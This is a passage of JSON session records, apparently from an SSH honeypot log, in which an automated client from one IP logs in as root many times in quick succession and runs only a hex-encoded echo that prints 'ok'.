  "name": "sullen-daring-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:12.147144+00:00",
  "ended_at": "2026-08-23T08:31:13.317476+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d23a5bb5-42e0-4911-b52d-8450307d3565",
  "name": "misty-daring-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:09.668127+00:00",
  "ended_at": "2026-08-23T08:31:11.527868+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f18915f-a322-4a8e-9c4b-f08ec99c9395",
  "name": "tangled-downy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:07.131817+00:00",
  "ended_at": "2026-08-23T08:31:09.015912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "af011fd8-d71c-46db-b5db-3b87472d402b",
  "name": "hidden-buoyant-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:04.658877+00:00",
  "ended_at": "2026-08-23T08:31:06.502691+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b6436a29-7fc2-4168-9345-dfb976be405d",
  "name": "grumpy-opal-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33948,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:02.605017+00:00",
  "ended_at": "2026-08-23T08:31:03.859925+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fef40da9-38b9-44a9-a21b-d50864e4c615",
  "name": "vaulted-placid-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:59.789294+00:00",
  "ended_at": "2026-08-23T08:31:01.893849+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8897f7e0-a98c-457a-8211-589539196425",
  "name": "vivid-lawful-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:57.619228+00:00",
  "ended_at": "2026-08-23T08:30:59.156387+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afc5b137-6900-43b8-903f-b1fc8b877de8",
  "name": "calm-cobalt-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:55.292683+00:00",
  "ended_at": "2026-08-23T08:30:56.827402+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ecd7602-5871-49f3-812d-81f7a907978e",
  "name": "blunt-humble-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:52.957858+00:00",
  "ended_at": "2026-08-23T08:30:54.570515+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d0ac0a1-5e13-459c-8253-1c6704762eca",
  "name": "lofty-vivid-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:49.988130+00:00",
  "ended_at": "2026-08-23T08:30:52.120592+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7210964-ec0d-4e17-93ed-838a628eef9a",
  "name": "mellow-smoky-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:48.052814+00:00",
  "ended_at": "2026-08-23T08:30:49.165152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "608af0f0-42c2-454f-a8d0-f2748c6dd3ae",
  "name": "misty-creaky-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:45.768361+00:00",
  "ended_at": "2026-08-23T08:30:47.389955+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "032e1850-c43c-4058-9d53-6f273824eeaf",
  "name": "wiry-hazy-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:43.619486+00:00",
  "ended_at": "2026-08-23T08:30:44.959939+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4ea92db-a3a8-4aa0-89da-2dac72b9b2fa",
  "name": "frank-solemn-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:41.805313+00:00",
  "ended_at": "2026-08-23T08:30:42.849020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "13edea33-b6db-49a0-91b0-1ad8bdf91ae6",
  "name": "tangled-hazy-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:39.937383+00:00",
  "ended_at": "2026-08-23T08:30:41.023951+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc8bafe1-09c6-408a-a3ef-d51ccbbd26ae",
  "name": "murky-rustic-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:37.524704+00:00",
  "ended_at": "2026-08-23T08:30:39.263549+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ba0849b-8e7e-4c3d-86ec-b7ac30b282a6",
  "name": "hardy-ivory-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40756,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:34.684188+00:00",
  "ended_at": "2026-08-23T08:30:36.849707+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5b607b3d-e44a-4126-be16-299ef4e9089c",
  "name": "daring-vernal-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:31.973503+00:00",
  "ended_at": "2026-08-23T08:30:33.900188+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71516d22-4409-49da-a2ed-cc8677af2748",
  "name": "crystal-painted-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:30.006180+00:00",
  "ended_at": "2026-08-23T08:30:31.142610+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf5e6a6f-c7b1-49a3-9e6a-6e6fbba17056",
  "name": "icy-noble-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:27.106760+00:00",
  "ended_at": "2026-08-23T08:30:29.348943+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a772f2b6-40df-4cb3-bfbb-9036efa6c99b",
  "name": "pewter-oaken-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:24.727941+00:00",
  "ended_at": "2026-08-23T08:30:26.417045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29b2b31c-b5a7-422f-b4e3-d9b80aa7b097",
  "name": "rambling-amiable-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:22.846236+00:00",
  "ended_at": "2026-08-23T08:30:24.052869+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b0fd822-4263-4a30-9cc8-9ec1b2bcc1fd",
  "name": "shaded-knotted-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:21.123091+00:00",
  "ended_at": "2026-08-23T08:30:22.185767+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6f62b86-aea9-4df5-b32a-4ca69d3cd120",
  "name": "genial-blunt-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:18.602024+00:00",
  "ended_at": "2026-08-23T08:30:20.362047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24d9888f-5458-40c2-bb53-0a8e293543ef",
  "name": "lunar-smoky-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:16.700486+00:00",
  "ended_at": "2026-08-23T08:30:17.847734+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f85271f-1d90-4f40-bb62-5005e2d90396",
  "name": "feral-brisk-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:14.789024+00:00",
  "ended_at": "2026-08-23T08:30:16.030951+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e94ea5b-2b1f-40c5-aad3-a4d6117bfd78",
  "name": "tender-wiry-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:12.338546+00:00",
  "ended_at": "2026-08-23T08:30:13.994233+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e22d87e-2d1d-41aa-b029-555d79f6c3fa",
  "name": "foggy-rugged-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:09.763115+00:00",
  "ended_at": "2026-08-23T08:30:11.506652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff381f8e-b67e-42d7-8dc5-a2cd951b3b41",
  "name": "sturdy-mossy-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:07.347543+00:00",
  "ended_at": "2026-08-23T08:30:09.011450+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bbce0a82-382a-447d-ba28-ae768de13f2d",
  "name": "scarlet-wandering-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:04.875048+00:00",
  "ended_at": "2026-08-23T08:30:06.518754+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df8995dd-30de-4ac5-9e88-ecefc6f910ee",
  "name": "austere-scarlet-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36194,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:02.940173+00:00",
  "ended_at": "2026-08-23T08:30:04.150448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a019b6cb-c58a-4a05-a607-5fbe7249e691",
  "name": "cobalt-creaky-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36186,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:30:00.223988+00:00",
  "ended_at": "2026-08-23T08:30:02.119020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f902263-dfac-4bfc-b12a-1d1d49c4d9f2",
  "name": "faded-misty-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:58.505686+00:00",
  "ended_at": "2026-08-23T08:29:59.536753+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c423e96-a3c5-4c03-aaa3-d448f528cb57",
  "name": "jolly-lanky-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:56.487726+00:00",
  "ended_at": "2026-08-23T08:29:57.712898+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "501cf834-0f1a-417e-9465-c8801035018c",
  "name": "cheerful-brisk-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:54.582050+00:00",
  "ended_at": "2026-08-23T08:29:55.711862+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "edc89506-ba12-4d37-908f-4b9dbb377c02",
  "name": "faded-lanky-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:52.051916+00:00",
  "ended_at": "2026-08-23T08:29:53.750284+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a600d4a6-eefd-4978-912b-d23601bbb0e3",
  "name": "loyal-supple-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:50.315775+00:00",
  "ended_at": "2026-08-23T08:29:51.266339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1cfc5fbe-a0d5-44b5-a1d1-d01e1f96e2e0",
  "name": "primal-watchful-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:47.435962+00:00",
  "ended_at": "2026-08-23T08:29:49.507519+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d4d7881-7269-4fcc-b42b-f96c806a928b",
  "name": "tranquil-watchful-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:45.906046+00:00",
  "ended_at": "2026-08-23T08:29:46.801830+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b408d58e-631a-4a18-8f1c-0dcbd5625013",
  "name": "supple-salty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:43.213243+00:00",
  "ended_at": "2026-08-23T08:29:45.102405+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b2f7100-18f2-4d0e-a5a5-baa88855ad5b",
  "name": "scarlet-alpine-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:40.383824+00:00",
  "ended_at": "2026-08-23T08:29:42.568859+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd1dfcd0-bbe6-47b8-bab3-10faac1bc0b6",
  "name": "rambling-velvet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:38.414407+00:00",
  "ended_at": "2026-08-23T08:29:39.644745+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "49592bd0-563d-4331-8198-d8525d13a248",
  "name": "burly-deft-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:35.386696+00:00",
  "ended_at": "2026-08-23T08:29:37.669704+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c8a8688-3759-46d3-9e83-8c6419140f98",
  "name": "blunt-dappled-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:33.533347+00:00",
  "ended_at": "2026-08-23T08:29:34.592687+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "41d4c2bb-3ae5-42db-a879-2dbf9e3e6509",
  "name": "faded-primal-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:27.330632+00:00",
  "ended_at": "2026-08-23T08:29:32.827141+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29f8e626-0f56-444a-a080-7d7b76712df3",
  "name": "chilly-coral-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:25.676031+00:00",
  "ended_at": "2026-08-23T08:29:26.573600+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8440784b-e38c-4565-bd9e-e0859615b2e0",
  "name": "subtle-hollow-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47820,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:23.805705+00:00",
  "ended_at": "2026-08-23T08:29:24.880164+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ec251d4c-e5a1-4a6a-a2d7-652cee4256e9",
  "name": "jagged-foggy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:21.470015+00:00",
  "ended_at": "2026-08-23T08:29:23.116923+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4aae7102-831f-4eec-9667-3c9556eca667",
  "name": "hardy-sooty-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:19.389897+00:00",
  "ended_at": "2026-08-23T08:29:20.702638+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11e429d2-3011-4756-b30a-93447c4be4c2",
  "name": "gallant-brazen-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
